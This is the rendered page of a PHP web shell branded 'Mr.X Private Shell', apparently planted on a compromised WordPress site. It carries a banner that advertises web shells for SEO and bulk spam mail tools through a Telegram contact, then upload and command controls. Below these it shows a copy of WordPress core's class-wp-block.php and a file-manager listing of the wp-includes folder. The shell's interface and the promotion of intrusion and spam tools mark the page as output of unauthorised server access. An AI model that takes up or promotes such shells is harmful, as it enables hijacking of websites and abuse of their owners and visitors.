__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * Blocks API: WP_Block class
 *
 * @package WordPress
 * @since 5.5.0
 */

/**
 * Class representing a parsed instance of a block.
 *
 * @since 5.5.0
 * @property array $attributes
 */
#[AllowDynamicProperties]
class WP_Block {

	/**
	 * Original parsed array representation of block.
	 *
	 * @since 5.5.0
	 * @var array
	 */
	public $parsed_block;

	/**
	 * Name of block.
	 *
	 * @example "core/paragraph"
	 *
	 * @since 5.5.0
	 * @var string|null
	 */
	public $name;

	/**
	 * Block type associated with the instance.
	 *
	 * @since 5.5.0
	 * @var WP_Block_Type
	 */
	public $block_type;

	/**
	 * Block context values.
	 *
	 * @since 5.5.0
	 * @var array
	 */
	public $context = array();

	/**
	 * All available context of the current hierarchy.
	 *
	 * @since 5.5.0
	 * @var array
	 */
	protected $available_context = array();

	/**
	 * Block type registry.
	 *
	 * @since 5.9.0
	 * @var WP_Block_Type_Registry
	 */
	protected $registry;

	/**
	 * List of inner blocks (of this same class)
	 *
	 * @since 5.5.0
	 * @var WP_Block_List
	 */
	public $inner_blocks = array();

	/**
	 * Resultant HTML from inside block comment delimiters after removing inner
	 * blocks.
	 *
	 * @example "...Just <!-- wp:test /--> testing..." -> "Just testing..."
	 *
	 * @since 5.5.0
	 * @var string
	 */
	public $inner_html = '';

	/**
	 * List of string fragments and null markers where inner blocks were found
	 *
	 * @example array(
	 *   'inner_html'    => 'BeforeInnerAfter',
	 *   'inner_blocks'  => array( block, block ),
	 *   'inner_content' => array( 'Before', null, 'Inner', null, 'After' ),
	 * )
	 *
	 * @since 5.5.0
	 * @var array
	 */
	public $inner_content = array();

	/**
	 * Constructor.
	 *
	 * Populates object properties from the provided block instance argument.
	 *
	 * The given array of context values will not necessarily be available on
	 * the instance itself, but is treated as the full set of values provided by
	 * the block's ancestry. This is assigned to the private `available_context`
	 * property. Only values which are configured to consumed by the block via
	 * its registered type will be assigned to the block's `context` property.
	 *
	 * @since 5.5.0
	 *
	 * @param array                  $block             {
	 *     An associative array of a single parsed block object. See WP_Block_Parser_Block.
	 *
	 *     @type string|null $blockName    Name of block.
	 *     @type array       $attrs        Attributes from block comment delimiters.
	 *     @type array       $innerBlocks  List of inner blocks. An array of arrays that
	 *                                     have the same structure as this one.
	 *     @type string      $innerHTML    HTML from inside block comment delimiters.
	 *     @type array       $innerContent List of string fragments and null markers where inner blocks were found.
	 * }
	 * @param array                  $available_context Optional array of ancestry context values.
	 * @param WP_Block_Type_Registry $registry          Optional block type registry.
	 */
	public function __construct( $block, $available_context = array(), $registry = null ) {
		$this->parsed_block = $block;
		$this->name         = $block['blockName'];

		if ( is_null( $registry ) ) {
			$registry = WP_Block_Type_Registry::get_instance();
		}

		$this->registry = $registry;

		$this->block_type = $registry->get_registered( $this->name );

		$this->available_context = $available_context;

		$this->refresh_context_dependents();
	}

	/**
	 * Updates the context for the current block and its inner blocks.
	 *
	 * The method updates the context of inner blocks, if any, by passing down
	 * any context values the block provides (`provides_context`).
	 *
	 * If the block has inner blocks, the method recursively processes them by creating new instances of `WP_Block`
	 * for each inner block and updating their context based on the block's `provides_context` property.
	 *
	 * @since 6.8.0
	 */
	public function refresh_context_dependents() {
		/*
		 * Merging the `$context` property here is not ideal, but for now needs to happen because of backward compatibility.
		 * Ideally, the `$context` property itself would not be filterable directly and only the `$available_context` would be filterable.
		 * However, this needs to be separately explored whether it's possible without breakage.
		 */
		$this->available_context = array_merge( $this->available_context, $this->context );

		if ( ! empty( $this->block_type->uses_context ) ) {
			foreach ( $this->block_type->uses_context as $context_name ) {
				if ( array_key_exists( $context_name, $this->available_context ) ) {
					$this->context[ $context_name ] = $this->available_context[ $context_name ];
				}
			}
		}

		$this->refresh_parsed_block_dependents();
	}

	/**
	 * Updates the parsed block content for the current block and its inner blocks.
	 *
	 * This method sets the `inner_html` and `inner_content` properties of the block based on the parsed
	 * block content provided during initialization. It ensures that the block instance reflects the
	 * most up-to-date content for both the inner HTML and any string fragments around inner blocks.
	 *
	 * If the block has inner blocks, this method initializes a new `WP_Block_List` for them, ensuring the
	 * correct content and context are updated for each nested block.
	 *
	 * @since 6.8.0
	 */
	public function refresh_parsed_block_dependents() {
		if ( ! empty( $this->parsed_block['innerBlocks'] ) ) {
			$child_context = $this->available_context;

			if ( ! empty( $this->block_type->provides_context ) ) {
				foreach ( $this->block_type->provides_context as $context_name => $attribute_name ) {
					if ( array_key_exists( $attribute_name, $this->attributes ) ) {
						$child_context[ $context_name ] = $this->attributes[ $attribute_name ];
					}
				}
			}

			$this->inner_blocks = new WP_Block_List( $this->parsed_block['innerBlocks'], $child_context, $this->registry );
		}

		if ( ! empty( $this->parsed_block['innerHTML'] ) ) {
			$this->inner_html = $this->parsed_block['innerHTML'];
		}

		if ( ! empty( $this->parsed_block['innerContent'] ) ) {
			$this->inner_content = $this->parsed_block['innerContent'];
		}
	}

	/**
	 * Returns a value from an inaccessible property.
	 *
	 * This is used to lazily initialize the `attributes` property of a block,
	 * such that it is only prepared with default attributes at the time that
	 * the property is accessed. For all other inaccessible properties, a `null`
	 * value is returned.
	 *
	 * @since 5.5.0
	 *
	 * @param string $name Property name.
	 * @return array|null Prepared attributes, or null.
	 */
	public function __get( $name ) {
		if ( 'attributes' === $name ) {
			$this->attributes = isset( $this->parsed_block['attrs'] ) ?
				$this->parsed_block['attrs'] :
				array();

			if ( ! is_null( $this->block_type ) ) {
				$this->attributes = $this->block_type->prepare_attributes_for_render( $this->attributes );
			}

			return $this->attributes;
		}

		return null;
	}

	/**
	 * Processes the block bindings and updates the block attributes with the values from the sources.
	 *
	 * A block might contain bindings in its attributes. Bindings are mappings
	 * between an attribute of the block and a source. A "source" is a function
	 * registered with `register_block_bindings_source()` that defines how to
	 * retrieve a value from outside the block, e.g. from post meta.
	 *
	 * This function will process those bindings and update the block's attributes
	 * with the values coming from the bindings.
	 *
	 * ### Example
	 *
	 * The "bindings" property for an Image block might look like this:
	 *
	 * ```json
	 * {
	 *   "metadata": {
	 *     "bindings": {
	 *       "title": {
	 *         "source": "core/post-meta",
	 *         "args": { "key": "text_custom_field" }
	 *       },
	 *       "url": {
	 *         "source": "core/post-meta",
	 *         "args": { "key": "url_custom_field" }
	 *       }
	 *     }
	 *   }
	 * }
	 * ```
	 *
	 * The above example will replace the `title` and `url` attributes of the Image
	 * block with the values of the `text_custom_field` and `url_custom_field` post meta.
	 *
	 * @since 6.5.0
	 * @since 6.6.0 Handle the `__default` attribute for pattern overrides.
	 * @since 6.7.0 Return any updated bindings metadata in the computed attributes.
	 *
	 * @return array The computed block attributes for the provided block bindings.
	 */
	private function process_block_bindings() {
		$block_type                 = $this->name;
		$parsed_block               = $this->parsed_block;
		$computed_attributes        = array();
		$supported_block_attributes = get_block_bindings_supported_attributes( $block_type );

		// If the block doesn't have the bindings property, isn't one of the supported
		// block types, or the bindings property is not an array, return the block content.
		if (
			empty( $supported_block_attributes ) ||
			empty( $parsed_block['attrs']['metadata']['bindings'] ) ||
			! is_array( $parsed_block['attrs']['metadata']['bindings'] )
		) {
			return $computed_attributes;
		}

		$bindings = $parsed_block['attrs']['metadata']['bindings'];

		/*
		 * If the default binding is set for pattern overrides, replace it
		 * with a pattern override binding for all supported attributes.
		 */
		if (
			isset( $bindings['__default']['source'] ) &&
			'core/pattern-overrides' === $bindings['__default']['source']
		) {
			$updated_bindings = array();

			/*
			 * Build a binding array of all supported attributes.
			 * Note that this also omits the `__default` attribute from the
			 * resulting array.
			 */
			foreach ( $supported_block_attributes as $attribute_name ) {
				// Retain any non-pattern override bindings that might be present.
				$updated_bindings[ $attribute_name ] = isset( $bindings[ $attribute_name ] )
					? $bindings[ $attribute_name ]
					: array( 'source' => 'core/pattern-overrides' );
			}
			$bindings = $updated_bindings;
			/*
			 * Update the bindings metadata of the computed attributes.
			 * This ensures the block receives the expanded __default binding metadata when it renders.
			 */
			$computed_attributes['metadata'] = array_merge(
				$parsed_block['attrs']['metadata'],
				array( 'bindings' => $bindings )
			);
		}

		foreach ( $bindings as $attribute_name => $block_binding ) {
			// If the attribute is not in the supported list, process next attribute.
			if ( ! in_array( $attribute_name, $supported_block_attributes, true ) ) {
				continue;
			}
			// If no source is provided, or that source is not registered, process next attribute.
			if ( ! isset( $block_binding['source'] ) || ! is_string( $block_binding['source'] ) ) {
				continue;
			}

			$block_binding_source = get_block_bindings_source( $block_binding['source'] );
			if ( null === $block_binding_source ) {
				continue;
			}

			// Adds the necessary context defined by the source.
			if ( ! empty( $block_binding_source->uses_context ) ) {
				foreach ( $block_binding_source->uses_context as $context_name ) {
					if ( array_key_exists( $context_name, $this->available_context ) ) {
						$this->context[ $context_name ] = $this->available_context[ $context_name ];
					}
				}
			}

			$source_args  = ! empty( $block_binding['args'] ) && is_array( $block_binding['args'] ) ? $block_binding['args'] : array();
			$source_value = $block_binding_source->get_value( $source_args, $this, $attribute_name );

			// If the value is not null, process the HTML based on the block and the attribute.
			if ( ! is_null( $source_value ) ) {
				$computed_attributes[ $attribute_name ] = $source_value;
			}
		}

		return $computed_attributes;
	}

	/**
	 * Depending on the block attribute name, replace its value in the HTML based on the value provided.
	 *
	 * @since 6.5.0
	 *
	 * @param string $block_content  Block content.
	 * @param string $attribute_name The attribute name to replace.
	 * @param mixed  $source_value   The value used to replace in the HTML.
	 * @return string The modified block content.
	 */
	private function replace_html( string $block_content, string $attribute_name, $source_value ) {
		$block_type = $this->block_type;
		if ( ! isset( $block_type->attributes[ $attribute_name ]['source'] ) ) {
			return $block_content;
		}

		// Depending on the attribute source, the processing will be different.
		switch ( $block_type->attributes[ $attribute_name ]['source'] ) {
			case 'html':
			case 'rich-text':
				$block_reader = self::get_block_bindings_processor( $block_content );

				// TODO: Support for CSS selectors whenever they are ready in the HTML API.
				// In the meantime, support comma-separated selectors by exploding them into an array.
				$selectors = explode( ',', $block_type->attributes[ $attribute_name ]['selector'] );
				// Add a bookmark to the first tag to be able to iterate over the selectors.
				$block_reader->next_tag();
				$block_reader->set_bookmark( 'iterate-selectors' );

				foreach ( $selectors as $selector ) {
					// If the parent tag, or any of its children, matches the selector, replace the HTML.
					if ( strcasecmp( $block_reader->get_tag(), $selector ) === 0 || $block_reader->next_tag(
						array(
							'tag_name' => $selector,
						)
					) ) {
						// TODO: Use `WP_HTML_Processor::set_inner_html` method once it's available.
						$block_reader->release_bookmark( 'iterate-selectors' );
						$block_reader->replace_rich_text( wp_kses_post( $source_value ) );
						return $block_reader->get_updated_html();
					} else {
						$block_reader->seek( 'iterate-selectors' );
					}
				}
				$block_reader->release_bookmark( 'iterate-selectors' );
				return $block_content;

			case 'attribute':
				$amended_content = new WP_HTML_Tag_Processor( $block_content );
				if ( ! $amended_content->next_tag(
					array(
						// TODO: build the query from CSS selector.
						'tag_name' => $block_type->attributes[ $attribute_name ]['selector'],
					)
				) ) {
					return $block_content;
				}
				$amended_content->set_attribute( $block_type->attributes[ $attribute_name ]['attribute'], $source_value );
				return $amended_content->get_updated_html();

			default:
				return $block_content;
		}
	}

	private static function get_block_bindings_processor( string $block_content ) {
		$internal_processor_class = new class('', WP_HTML_Processor::CONSTRUCTOR_UNLOCK_CODE) extends WP_HTML_Processor {
			/**
			 * Replace the rich text content between a tag opener and matching closer.
			 *
			 * When stopped on a tag opener, replace the content enclosed by it and its
			 * matching closer with the provided rich text.
			 *
			 * @param string $rich_text The rich text to replace the original content with.
			 * @return bool True on success.
			 */
			public function replace_rich_text( $rich_text ) {
				if ( $this->is_tag_closer() || ! $this->expects_closer() ) {
					return false;
				}

				$depth    = $this->get_current_depth();
				$tag_name = $this->get_tag();

				$this->set_bookmark( '_wp_block_bindings' );
				// The bookmark names are prefixed with `_` so the key below has an extra `_`.
				$tag_opener = $this->bookmarks['__wp_block_bindings'];
				$start      = $tag_opener->start + $tag_opener->length;

				// Find matching tag closer.
				while ( $this->next_token() && $this->get_current_depth() >= $depth ) {
				}

				if ( ! $this->is_tag_closer() || $tag_name !== $this->get_tag() ) {
					return false;
				}

				$this->set_bookmark( '_wp_block_bindings' );
				$tag_closer = $this->bookmarks['__wp_block_bindings'];
				$end        = $tag_closer->start;

				$this->lexical_updates[] = new WP_HTML_Text_Replacement(
					$start,
					$end - $start,
					$rich_text
				);

				return true;
			}
		};

		return $internal_processor_class::create_fragment( $block_content );
	}

	/**
	 * Generates the render output for the block.
	 *
	 * @since 5.5.0
	 * @since 6.5.0 Added block bindings processing.
	 *
	 * @global WP_Post $post Global post object.
	 *
	 * @param array $options {
	 *     Optional options object.
	 *
	 *     @type bool $dynamic Defaults to 'true'. Optionally set to false to avoid using the block's render_callback.
	 * }
	 * @return string Rendered block output.
	 */
	public function render( $options = array() ) {
		global $post;

		$before_wp_enqueue_scripts_count = did_action( 'wp_enqueue_scripts' );

		// Capture the current assets queues.
		$before_styles_queue         = wp_styles()->queue;
		$before_scripts_queue        = wp_scripts()->queue;
		$before_script_modules_queue = wp_script_modules()->get_queue();

		/*
		 * There can be only one root interactive block at a time because the rendered HTML of that block contains
		 * the rendered HTML of all its inner blocks, including any interactive block.
		 */
		static $root_interactive_block = null;
		/**
		 * Filters whether Interactivity API should process directives.
		 *
		 * @since 6.6.0
		 *
		 * @param bool $enabled Whether the directives processing is enabled.
		 */
		$interactivity_process_directives_enabled = apply_filters( 'interactivity_process_directives', true );
		if (
			$interactivity_process_directives_enabled && null === $root_interactive_block && (
				( isset( $this->block_type->supports['interactivity'] ) && true === $this->block_type->supports['interactivity'] ) ||
				! empty( $this->block_type->supports['interactivity']['interactive'] )
			)
		) {
			$root_interactive_block = $this;
		}

		$options = wp_parse_args(
			$options,
			array(
				'dynamic' => true,
			)
		);

		// Process the block bindings and get attributes updated with the values from the sources.
		$computed_attributes = $this->process_block_bindings();
		if ( ! empty( $computed_attributes ) ) {
			// Merge the computed attributes with the original attributes.
			$this->attributes = array_merge( $this->attributes, $computed_attributes );
		}

		$is_dynamic    = $options['dynamic'] && $this->name && null !== $this->block_type && $this->block_type->is_dynamic();
		$block_content = '';

		if ( ! $options['dynamic'] || empty( $this->block_type->skip_inner_blocks ) ) {
			$index = 0;

			foreach ( $this->inner_content as $chunk ) {
				if ( is_string( $chunk ) ) {
					$block_content .= $chunk;
				} else {
					$inner_block  = $this->inner_blocks[ $index ];
					$parent_block = $this;

					/** This filter is documented in wp-includes/blocks.php */
					$pre_render = apply_filters( 'pre_render_block', null, $inner_block->parsed_block, $parent_block );

					if ( ! is_null( $pre_render ) ) {
						$block_content .= $pre_render;
					} else {
						$source_block        = $inner_block->parsed_block;
						$inner_block_context = $inner_block->context;

						/** This filter is documented in wp-includes/blocks.php */
						$inner_block->parsed_block = apply_filters( 'render_block_data', $inner_block->parsed_block, $source_block, $parent_block );

						/** This filter is documented in wp-includes/blocks.php */
						$inner_block->context = apply_filters( 'render_block_context', $inner_block->context, $inner_block->parsed_block, $parent_block );

						/*
						 * The `refresh_context_dependents()` method already calls `refresh_parsed_block_dependents()`.
						 * Therefore the second condition is irrelevant if the first one is satisfied.
						 */
						if ( $inner_block->context !== $inner_block_context ) {
							$inner_block->refresh_context_dependents();
						} elseif ( $inner_block->parsed_block !== $source_block ) {
							$inner_block->refresh_parsed_block_dependents();
						}

						$block_content .= $inner_block->render();
					}

					++$index;
				}
			}
		}

		if ( ! empty( $computed_attributes ) && ! empty( $block_content ) ) {
			foreach ( $computed_attributes as $attribute_name => $source_value ) {
				$block_content = $this->replace_html( $block_content, $attribute_name, $source_value );
			}
		}

		if ( $is_dynamic ) {
			$global_post = $post;
			$parent      = WP_Block_Supports::$block_to_render;

			WP_Block_Supports::$block_to_render = $this->parsed_block;

			$block_content = (string) call_user_func( $this->block_type->render_callback, $this->attributes, $block_content, $this );

			WP_Block_Supports::$block_to_render = $parent;

			$post = $global_post;
		}

		if ( ( ! empty( $this->block_type->script_handles ) ) ) {
			foreach ( $this->block_type->script_handles as $script_handle ) {
				wp_enqueue_script( $script_handle );
			}
		}

		if ( ! empty( $this->block_type->view_script_handles ) ) {
			foreach ( $this->block_type->view_script_handles as $view_script_handle ) {
				wp_enqueue_script( $view_script_handle );
			}
		}

		if ( ! empty( $this->block_type->view_script_module_ids ) ) {
			foreach ( $this->block_type->view_script_module_ids as $view_script_module_id ) {
				wp_enqueue_script_module( $view_script_module_id );
			}
		}

		/*
		 * For Core blocks, these styles are only enqueued if `wp_should_load_separate_core_block_assets()` returns
		 * true. Otherwise these `wp_enqueue_style()` calls will not have any effect, as the Core blocks are relying on
		 * the combined 'wp-block-library' stylesheet instead, which is unconditionally enqueued.
		 */
		if ( ( ! empty( $this->block_type->style_handles ) ) ) {
			foreach ( $this->block_type->style_handles as $style_handle ) {
				wp_enqueue_style( $style_handle );
			}
		}

		if ( ( ! empty( $this->block_type->view_style_handles ) ) ) {
			foreach ( $this->block_type->view_style_handles as $view_style_handle ) {
				wp_enqueue_style( $view_style_handle );
			}
		}

		/**
		 * Filters the content of a single block.
		 *
		 * @since 5.0.0
		 * @since 5.9.0 The `$instance` parameter was added.
		 *
		 * @param string   $block_content The block content.
		 * @param array    $block         The full block, including name and attributes.
		 * @param WP_Block $instance      The block instance.
		 */
		$block_content = apply_filters( 'render_block', $block_content, $this->parsed_block, $this );

		/**
		 * Filters the content of a single block.
		 *
		 * The dynamic portion of the hook name, `$name`, refers to
		 * the block name, e.g. "core/paragraph".
		 *
		 * @since 5.7.0
		 * @since 5.9.0 The `$instance` parameter was added.
		 *
		 * @param string   $block_content The block content.
		 * @param array    $block         The full block, including name and attributes.
		 * @param WP_Block $instance      The block instance.
		 */
		$block_content = apply_filters( "render_block_{$this->name}", $block_content, $this->parsed_block, $this );

		if ( $root_interactive_block === $this ) {
			// The root interactive block has finished rendering. Time to process directives.
			$block_content          = wp_interactivity_process_directives( $block_content );
			$root_interactive_block = null;
		}

		// Capture the new assets enqueued during rendering, and restore the queues the state prior to rendering.
		$after_styles_queue         = wp_styles()->queue;
		$after_scripts_queue        = wp_scripts()->queue;
		$after_script_modules_queue = wp_script_modules()->get_queue();

		/*
		 * As a very special case, a dynamic block may in fact include a call to wp_head() (and thus wp_enqueue_scripts()),
		 * in which all of its enqueued assets are targeting wp_footer. In this case, nothing would be printed, but this
		 * shouldn't indicate that the just-enqueued assets should be dequeued due to it being an empty block.
		 */
		$just_did_wp_enqueue_scripts = ( did_action( 'wp_enqueue_scripts' ) !== $before_wp_enqueue_scripts_count );

		$has_new_styles         = ( $before_styles_queue !== $after_styles_queue );
		$has_new_scripts        = ( $before_scripts_queue !== $after_scripts_queue );
		$has_new_script_modules = ( $before_script_modules_queue !== $after_script_modules_queue );

		// Dequeue the newly enqueued assets with the existing assets if the rendered block was empty & wp_enqueue_scripts did not fire.
		if (
			! $just_did_wp_enqueue_scripts &&
			( $has_new_styles || $has_new_scripts || $has_new_script_modules ) &&
			(
				trim( $block_content ) === '' &&
				/**
				 * Filters whether to enqueue assets for a block which has no rendered content.
				 *
				 * @since 6.9.0
				 *
				 * @param bool   $enqueue    Whether to enqueue assets.
				 * @param string $block_name Block name.
				 */
				! (bool) apply_filters( 'enqueue_empty_block_content_assets', false, $this->name )
			)
		) {
			foreach ( array_diff( $after_styles_queue, $before_styles_queue ) as $handle ) {
				wp_dequeue_style( $handle );
			}
			foreach ( array_diff( $after_scripts_queue, $before_scripts_queue ) as $handle ) {
				wp_dequeue_script( $handle );
			}
			foreach ( array_diff( $after_script_modules_queue, $before_script_modules_queue ) as $handle ) {
				wp_dequeue_script_module( $handle );
			}
		}

		return $block_content;
	}
}

Filemanager

Name Type Size Permission Actions
ID3 Folder 6775
IXR Folder 6775
PHPMailer Folder 6775
Requests Folder 6775
SimplePie Folder 6775
Text Folder 6775
abilities-api Folder 0775
assets Folder 6775
block-bindings Folder 6775
block-patterns Folder 6775
block-supports Folder 6775
blocks Folder 6775
certificates Folder 6775
css Folder 6775
customize Folder 6775
fonts Folder 6775
html-api Folder 6775
images Folder 6775
interactivity-api Folder 6775
js Folder 6775
l10n Folder 6775
php-compat Folder 6775
pomo Folder 6775
rest-api Folder 6775
sitemaps Folder 6775
sodium_compat Folder 6775
style-engine Folder 6775
theme-compat Folder 6775
widgets Folder 6775
abilities-api.php File 23.8 KB 0775
abilities.php File 7.8 KB 0775
admin-bar.php File 36.1 KB 0775
atomlib.php File 11.9 KB 0775
author-template.php File 18.94 KB 0775
block-bindings.php File 7.35 KB 0775
block-editor.php File 28.6 KB 0775
block-i18n.json File 316 B 0775
block-patterns.php File 12.9 KB 0775
block-template-utils.php File 61.02 KB 0775
block-template.php File 15 KB 0775
blocks.php File 112.05 KB 0775
bookmark-template.php File 12.47 KB 0775
bookmark.php File 15.07 KB 0775
cache-compat.php File 9.84 KB 0775
cache.php File 13.17 KB 0775
canonical.php File 33.83 KB 0775
capabilities.php File 42.63 KB 0775
category-template.php File 55.71 KB 0775
category.php File 12.53 KB 0775
class-IXR.php File 2.55 KB 0775
class-avif-info.php File 28.92 KB 0775
class-feed.php File 539 B 0775
class-http.php File 367 B 0775
class-json.php File 42.65 KB 0775
class-oembed.php File 401 B 0775
class-phpass.php File 6.61 KB 0775
class-phpmailer.php File 664 B 0775
class-pop3.php File 20.63 KB 0775
class-requests.php File 2.18 KB 0775
class-simplepie.php File 453 B 0775
class-smtp.php File 457 B 0775
class-snoopy.php File 36.83 KB 0775
class-walker-category-dropdown.php File 2.41 KB 0775
class-walker-category.php File 8.28 KB 0775
class-walker-comment.php File 13.89 KB 0775
class-walker-nav-menu.php File 11.76 KB 0775
class-walker-page-dropdown.php File 2.65 KB 0775
class-walker-page.php File 7.43 KB 0775
class-wp-admin-bar.php File 17.46 KB 0775
class-wp-ajax-response.php File 5.14 KB 0775
class-wp-application-passwords.php File 16.7 KB 0775
class-wp-block-bindings-registry.php File 8.28 KB 0775
class-wp-block-bindings-source.php File 2.92 KB 0775
class-wp-block-editor-context.php File 1.32 KB 0775
class-wp-block-list.php File 4.6 KB 0775
class-wp-block-metadata-registry.php File 11.62 KB 0775
class-wp-block-parser-block.php File 2.5 KB 0775
class-wp-block-parser-frame.php File 1.97 KB 0775
class-wp-block-parser.php File 11.25 KB 0775
class-wp-block-pattern-categories-registry.php File 5.32 KB 0775
class-wp-block-patterns-registry.php File 10.6 KB 0775
class-wp-block-processor.php File 67.84 KB 0775
class-wp-block-styles-registry.php File 6.34 KB 0775
class-wp-block-supports.php File 5.49 KB 0775
class-wp-block-template.php File 1.99 KB 0775
class-wp-block-templates-registry.php File 7.02 KB 0775
class-wp-block-type-registry.php File 4.91 KB 0775
class-wp-block-type.php File 16.86 KB 0775
class-wp-block.php File 24.23 KB 0775
class-wp-classic-to-block-menu-converter.php File 3.97 KB 0775
class-wp-comment-query.php File 47.66 KB 0775
class-wp-comment.php File 9.22 KB 0775
class-wp-customize-control.php File 25.51 KB 0775
class-wp-customize-manager.php File 198.38 KB 0775
class-wp-customize-nav-menus.php File 56.65 KB 0775
class-wp-customize-panel.php File 10.46 KB 0775
class-wp-customize-section.php File 10.95 KB 0775
class-wp-customize-setting.php File 29.26 KB 0775
class-wp-customize-widgets.php File 70.91 KB 0775
class-wp-date-query.php File 35.3 KB 0775
class-wp-dependencies.php File 15.02 KB 0775
class-wp-dependency.php File 2.57 KB 0775
class-wp-duotone.php File 39.83 KB 0775
class-wp-editor.php File 70.64 KB 0775
class-wp-embed.php File 15.56 KB 0775
class-wp-error.php File 7.33 KB 0775
class-wp-exception.php File 253 B 0775
class-wp-fatal-error-handler.php File 7.96 KB 0775
class-wp-feed-cache-transient.php File 3.23 KB 0775
class-wp-feed-cache.php File 969 B 0775
class-wp-hook.php File 16.28 KB 0775
class-wp-http-cookie.php File 7.22 KB 0775
class-wp-http-curl.php File 12.95 KB 0775
class-wp-http-encoding.php File 6.53 KB 0775
class-wp-http-ixr-client.php File 3.42 KB 0775
class-wp-http-proxy.php File 5.84 KB 0775
class-wp-http-requests-hooks.php File 1.97 KB 0775
class-wp-http-requests-response.php File 4.3 KB 0775
class-wp-http-response.php File 2.91 KB 0775
class-wp-http-streams.php File 16.46 KB 0775
class-wp-http.php File 40.6 KB 0775
class-wp-image-editor-gd.php File 20.22 KB 0775
class-wp-image-editor-imagick.php File 36.11 KB 0775
class-wp-image-editor.php File 17.01 KB 0775
class-wp-list-util.php File 7.27 KB 0775
class-wp-locale-switcher.php File 6.62 KB 0775
class-wp-locale.php File 16.49 KB 0775
class-wp-matchesmapregex.php File 1.79 KB 0775
class-wp-meta-query.php File 29.82 KB 0775
class-wp-metadata-lazyloader.php File 6.67 KB 0775
class-wp-navigation-fallback.php File 8.98 KB 0775
class-wp-network-query.php File 19.42 KB 0775
class-wp-network.php File 12.01 KB 0775
class-wp-object-cache.php File 17.11 KB 0775
class-wp-oembed-controller.php File 6.74 KB 0775
class-wp-oembed.php File 30.93 KB 0775
class-wp-paused-extensions-storage.php File 4.99 KB 0775
class-wp-phpmailer.php File 4.25 KB 0775
class-wp-plugin-dependencies.php File 24.72 KB 0775
class-wp-post-type.php File 29.96 KB 0775
class-wp-post.php File 6.34 KB 0775
class-wp-query.php File 159.91 KB 0775
class-wp-recovery-mode-cookie-service.php File 6.72 KB 0775
class-wp-recovery-mode-email-service.php File 10.92 KB 0775
class-wp-recovery-mode-key-service.php File 4.77 KB 0775
class-wp-recovery-mode-link-service.php File 3.38 KB 0775
class-wp-recovery-mode.php File 11.18 KB 0775
class-wp-rewrite.php File 62.19 KB 0775
class-wp-role.php File 2.46 KB 0775
class-wp-roles.php File 9.17 KB 0775
class-wp-script-modules.php File 31.13 KB 0775
class-wp-scripts.php File 33.38 KB 0775
class-wp-session-tokens.php File 7.15 KB 0775
class-wp-simplepie-file.php File 3.47 KB 0775
class-wp-simplepie-sanitize-kses.php File 1.87 KB 0775
class-wp-site-query.php File 30.91 KB 0775
class-wp-site.php File 7.29 KB 0775
class-wp-speculation-rules.php File 7.35 KB 0775
class-wp-styles.php File 11.86 KB 0775
class-wp-tax-query.php File 19.12 KB 0775
class-wp-taxonomy.php File 18.12 KB 0775
class-wp-term-query.php File 39.99 KB 0775
class-wp-term.php File 5.17 KB 0775
class-wp-text-diff-renderer-inline.php File 979 B 0775
class-wp-text-diff-renderer-table.php File 18.44 KB 0775
class-wp-textdomain-registry.php File 10.24 KB 0775
class-wp-theme-json-data.php File 1.77 KB 0775
class-wp-theme-json-resolver.php File 34.9 KB 0775
class-wp-theme-json-schema.php File 7.19 KB 0775
class-wp-theme-json.php File 160.5 KB 0775
class-wp-theme.php File 64.27 KB 0775
class-wp-token-map.php File 27.95 KB 0775
class-wp-url-pattern-prefixer.php File 4.69 KB 0775
class-wp-user-meta-session-tokens.php File 2.94 KB 0775
class-wp-user-query.php File 43.13 KB 0775
class-wp-user-request.php File 2.25 KB 0775
class-wp-user.php File 22.5 KB 0775
class-wp-walker.php File 13.01 KB 0775
class-wp-widget-factory.php File 3.27 KB 0775
class-wp-widget.php File 18 KB 0775
class-wp-xmlrpc-server.php File 210.4 KB 0775
class-wp.php File 25.86 KB 0775
class-wpdb.php File 115.85 KB 0775
class.wp-dependencies.php File 373 B 0775
class.wp-scripts.php File 343 B 0775
class.wp-styles.php File 338 B 0775
comment-template.php File 100.73 KB 0775
comment.php File 130.93 KB 0775
compat-utf8.php File 19.1 KB 0775
compat.php File 17.41 KB 0775
cron.php File 41.98 KB 0775
date.php File 400 B 0775
default-constants.php File 11.1 KB 0775
default-filters.php File 37.02 KB 0775
default-widgets.php File 2.24 KB 0775
deprecated.php File 188.13 KB 0775
embed-template.php File 338 B 0775
embed.php File 38 KB 0775
error-protection.php File 4.02 KB 0775
feed-atom-comments.php File 5.38 KB 0775
feed-atom.php File 3.05 KB 0775
feed-rdf.php File 2.61 KB 0775
feed-rss.php File 1.16 KB 0775
feed-rss2-comments.php File 4.04 KB 0775
feed-rss2.php File 3.71 KB 0775
feed.php File 23.03 KB 0775
fonts.php File 9.56 KB 0775
formatting.php File 346.43 KB 0775
functions.php File 281.84 KB 0775
functions.wp-scripts.php File 14.95 KB 0775
functions.wp-styles.php File 8.44 KB 0775
general-template.php File 168.95 KB 0775
global-styles-and-settings.php File 20.71 KB 0775
http.php File 25.27 KB 0775
https-detection.php File 5.72 KB 0775
https-migration.php File 4.63 KB 0775
kses.php File 81.72 KB 0775
l10n.php File 67.18 KB 0775
link-template.php File 156.36 KB 0775
load.php File 55.19 KB 0775
locale.php File 162 B 0775
media-template.php File 61.72 KB 0775
media.php File 216 KB 0775
meta.php File 65 KB 0775
ms-blogs.php File 25.24 KB 0775
ms-default-constants.php File 4.81 KB 0775
ms-default-filters.php File 6.48 KB 0775
ms-deprecated.php File 21.25 KB 0775
ms-files.php File 2.79 KB 0775
ms-functions.php File 89.69 KB 0775
ms-load.php File 19.42 KB 0775
ms-network.php File 3.69 KB 0775
ms-settings.php File 4.11 KB 0775
ms-site.php File 40.74 KB 0775
nav-menu-template.php File 25.38 KB 0775
nav-menu.php File 43.33 KB 0775
option.php File 102.57 KB 0775
